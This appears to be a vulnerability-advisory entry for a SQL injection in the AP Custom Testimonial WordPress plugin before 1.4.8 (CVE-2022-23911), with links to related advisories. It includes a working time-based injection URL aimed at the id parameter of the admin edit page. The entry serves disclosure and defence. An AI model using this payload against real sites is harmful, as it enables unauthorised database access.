Lucene search
Rafael CastilhoWPEX-ID:77FD6749-4FB2-48FA-A191-437B442F28E9HistoryJan 25, 2022 - 12:00 a.m.
AP Custom Testimonial < 1.4.8 - Admin+ SQL Injection
2022-01-2500:00:00
Rafael Castilho
107
0.001 Low
EPSS
Percentile
36.9%
The plugin does not validate and escape the id parameter before using it in a SQL statement when retrieving a testimonial to edit, leading to a SQL Injection
https://example.com/wp-admin/admin.php?page=apct_testimonial_edit&id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)Related
cvelist
cvelist
CVE-2022-23911 AP Custom Testimonial < 1.4.8 - Admin+ SQL Injection
2022-02-28 09:06:57
nvd
nvd
CVE-2022-23911
2022-02-28 09:15:09
patchstack
patchstack
cnvd
cnvd
WordPress Testimonial Plugin SQL Injection Vulnerability
2022-03-02 00:00:00
cve
cve
CVE-2022-23911
2022-02-28 09:15:09
prion
prion
Sql injection
2022-02-28 09:15:00
wpvulndb
wpvulndb
AP Custom Testimonial < 1.4.8 - Admin+ SQL Injection
2022-01-25 00:00:00